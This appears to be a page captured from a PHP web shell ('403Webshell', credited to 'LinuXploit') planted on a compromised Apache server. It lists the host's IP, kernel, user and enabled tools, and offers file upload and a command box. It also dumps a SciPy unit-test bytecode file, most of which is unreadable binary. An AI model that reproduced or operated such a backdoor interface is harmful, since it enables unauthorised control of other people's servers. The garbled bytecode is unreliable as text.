403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/tests/__pycache__/test_sputils.cpython-311.pyc
�

d�c���\�dZddlZddlmZddlmZddlm	Z
ddlmZGd�d��Z
dS)	z'unit tests for sparse utility functions�N)�assert_equal)�raises)�_sputils)�matrixc�\�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�ZdS)�TestSparseUtilsc��ttjd��tj��ttjdd��tj��ttjdtt��tj��ttjdd��tj��dS)N�intc�int32�float32�bool�i�d)	r�sputils�upcast�npr
�float64�complex�float�
complex128��selfs �A/usr/lib/python3/dist-packages/scipy/sparse/tests/test_sputils.py�test_upcastzTestSparseUtils.test_upcasts����W�^�F�+�+�R�W�5�5�5��W�^�G�Y�7�7���D�D�D��W�^�F�G�U�;�;�R�]�K�K�K��W�^�C��-�-�r�z�:�:�:�:�:�c�r�tjdgd���}ttjdt
���t
��ttjd|���tj��ttd���5tjd��ddd��dS#1swxYwYdS)	N��int8��dtype)�default)�az0object dtype is not supported by sparse matrices��match�O)	r�arrayrr�getdtyperr�
assert_raises�
ValueError)r�As  r�
test_getdtypezTestSparseUtils.test_getdtypes����H�a�S��'�'�'���W�%�d�E�:�:�:�E�B�B�B��W�%�d�a�0�0�0�"�'�:�:�:�
��D�
�
�
�	"�	"�
��S�!�!�!�		"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"����	"�	"�	"�	"�	"�	"s�
B,�,B0�3B0c��ttjd��d��ttjd��d��ttjd��d��ttjd��d��ttjtjd����d��ttjd��d��ttjtjdg����d��ttjdgg��d��ttjd	��d��ttjd
��d��dS)N�@T����@��?@��16F�r�r�)rr�isscalarlikerr&rs r�test_isscalarlikez!TestSparseUtils.test_isscalarlikes,���W�)�#�.�.��5�5�5��W�)�"�-�-�t�4�4�4��W�)�#�.�.��5�5�5��W�)�&�1�1�4�8�8�8��W�)�"�(�1�+�+�6�6��=�=�=��W�)�$�/�/��6�6�6��W�)�"�(�A�3�-�-�8�8�%�@�@�@��W�)�A�3�%�0�0�%�8�8�8��W�)�$�/�/��7�7�7��W�)�&�1�1�5�9�9�9�9�9rc��ttjd��d��ttjtjd����d��ttjtjdg����d��ttd���5tjd��ddd��n#1swxYwYttjd��d��ttjd	��d��ttjd
��d��ttjd��d��dS)Nr.Tr1Fz4Inexact indices into sparse matrices are not allowedr#r-r/r0r3r4)rr�	isintlikerr&r(r)rs r�test_isintlikezTestSparseUtils.test_isintlike+s\���W�&�r�*�*�D�1�1�1��W�&�r�x��{�{�3�3�T�:�:�:��W�&�r�x���}�}�5�5�u�=�=�=�
��H�
�
�
�	#�	#�
��c�"�"�"�		#�	#�	#�	#�	#�	#�	#�	#�	#�	#�	#����	#�	#�	#�	#�	�W�&�s�+�+�U�3�3�3��W�&�v�.�.��6�6�6��W�&�t�,�,�e�4�4�4��W�&�v�.�.��6�6�6�6�6s�"C�C�
Cc��ttjd��d��ttjd��d��ttjd��d��ttjd��d��ttjdgdf��d��ttjdd�	��d��ttjd
d�	��d��ttjdd�	��d��ttjd
d�	��d��dS)Nr4T)�r5)��?r5F)r5r5r5r5)���r5)�nonneg)r5r>)rr�isshapers r�test_isshapezTestSparseUtils.test_isshape:s���W�_�V�,�,�d�3�3�3��W�_�V�,�,�d�3�3�3��W�_�X�.�.��6�6�6��W�_�Y�/�/��7�7�7��W�_�q�c�1�X�.�.��6�6�6��W�_�W�U�;�;�;�D�A�A�A��W�_�W�U�;�;�;�D�A�A�A��W�_�W�T�:�:�:�5�A�A�A��W�_�W�T�:�:�:�5�A�A�A�A�Arc	�@�ttjd��d��ttjd��d��ttjdg��d��ttjgd���d��ttjtjgd�����d��ttjtjdgdgdgg����d��ttjd��d��dS)Nr3T�rr5r1rr5r1F)rr�
issequencerr&rs r�test_issequencezTestSparseUtils.test_issequenceFs����W�'��-�-�t�4�4�4��W�'�	�2�2�D�9�9�9��W�'���,�,�d�3�3�3��W�'�	�	�	�2�2�D�9�9�9��W�'������(;�(;�<�<�d�C�C�C��W�'���1�#��s�Q�C��(A�(A�B�B�E�J�J�J��W�'��*�*�E�2�2�2�2�2rc�H�ttjd��d��ttjdgdgg��d��ttjtjd��d��d��ttjddg��d��ttjtjd����d��ttjdggg��d��ttjd��d��dS)N)�Trr5r1F)rr�ismatrixr�arangers r�
test_ismatrixzTestSparseUtils.test_ismatrixPs����W�%�e�,�,�d�3�3�3��W�%��s�Q�C�j�1�1�4�8�8�8��W�%�b�i��l�l�4�&8�9�9�4�@�@�@��W�%�q�!�f�-�-�u�5�5�5��W�%�b�i��l�l�3�3�U�;�;�;��W�%���u�g�.�.��6�6�6��W�%�a�(�(�%�0�0�0�0�0rc���ttjtjdg����d��ttjtdg����d��dS)NrT)rr�isdenserr&rrs r�test_isdensezTestSparseUtils.test_isdenseZsN���W�_�R�X�q�c�]�]�3�3�T�:�:�:��W�_�V�Q�C�[�[�1�1�4�8�8�8�8�8rc��tttjd��tttjd��tttjd��dD]}tj|���dS)N)rrr=r1)���r>rrN)r(�	TypeErrorr�validateaxisr))r�axiss  r�test_validateaxisz!TestSparseUtils.test_validateaxis^sp���i��!5�v�>�>�>��i��!5�s�;�;�;��j�'�"6��:�:�:�)�	'�	'�D�� ��&�&�&�&�	'�	'rc	��tjtjtj��j��}|dz}tjdd���}tjdd���}t
tjtj	||fd�����tjd����||d<t
tjtj	||fd�����tjd����||d<t
tjtj	||fd�����tjd	����tjd
d���}tjd
d���}t
tjtj	||f����tjd	����tjdd���}tjdd���}t
tjtj	||f|d�����tjd	����||d<t
tjtj	||f|�
����tjd	����dS)Nr�Z�uint32rT)�check_contentsrr>�int64�Y�)�maxvalrW)r[)
rrX�iinfor�max�onesrr r�get_index_dtype)r�imax�too_big�a1�a2s     r�test_get_index_dtypez$TestSparseUtils.test_get_index_dtypegs\���x�����*�*�.�/�/����(���W�R�x�
(�
(�
(��
�W�R�x�
(�
(�
(����H�W�,�b�"�X�d�K�K�K�L�L��H�W���	
�	
�	
���2����H�W�,�b�"�X�d�K�K�K�L�L��H�W���	
�	
�	
���2����H�W�,�b�"�X�d�K�K�K�L�L��H�W���	
�	
�	
��W�R�x�
(�
(�
(��
�W�R�x�
(�
(�
(����H�W�,�b�"�X�6�6�7�7��H�W���	
�	
�	
��W�R�x�
(�
(�
(��
�W�R�x�
(�
(�
(����H�W�,��R�������
�
�
�H�W���		
�	
�	
���2����H�W�,�b�"�X�g�F�F�F�G�G��H�W���	
�	
�	
�	
�	
rc�R�tjdgd��}t|d��dS)N)�
r>)i��i��)rfi��23)r�check_shaper)r�	new_shapes  r�test_check_shape_overflowz)TestSparseUtils.test_check_shape_overflow�s,���'��
�O�D�D�	��Y��0�0�0�0�0rc��gd�g}tj|��}ttj|��tj��sJ�ttj|��tj��sJ�tj|��}d|dd�dd�f<t||��tj|d���}d|dd�dd�f<t|gd�g��dS)NrC�{F)�copy�rkrkrk)rr&�
isinstancerrr�rr"�b�cs    r�test_matrixzTestSparseUtils.test_matrix�s���
�Y�Y�K���H�Q�K�K���'�.��+�+�R�Y�7�7�7�7�7��'�.��+�+�R�Y�7�7�7�7�7��N�1������!�!�!�Q�Q�Q�$���Q������N�1�5�)�)�)����!�!�!�Q�Q�Q�$���Q����)�*�*�*�*�*rc�T�gd�g}tj|��}ttj|��tj��sJ�ttj|��tj��sJ�tj|��}d|dd�dd�f<t
|gd�g��dS)NrCrkrm)rr&rnr�asmatrixrrros    r�
test_asmatrixzTestSparseUtils.test_asmatrix�s���
�Y�Y�K���H�Q�K�K���'�*�1�-�-�r�y�9�9�9�9�9��'�*�1�-�-�r�y�9�9�9�9�9���Q������!�!�!�Q�Q�Q�$���Q����)�*�*�*�*�*rN)�__name__�
__module__�__qualname__rr+r7r:rArErJrMrSrdrirrrurGrrrr
s�������;�;�;�
"�
"�
"�:�:�:�
7�
7�
7�
B�
B�
B�3�3�3�1�1�1�9�9�9�'�'�'�7
�7
�7
�r1�1�1�
+�
+�
+�	+�	+�	+�	+�	+rr)�__doc__�numpyr�
numpy.testingr�pytestrr(�scipy.sparserr�scipy.sparse._sputilsrrrGrr�<module>rs���-�-�����&�&�&�&�&�&�*�*�*�*�*�*�,�,�,�,�,�,�(�(�(�(�(�(�r+�r+�r+�r+�r+�r+�r+�r+�r+�r+r

Youez - 2016 - github.com/yon3zu
LinuXploit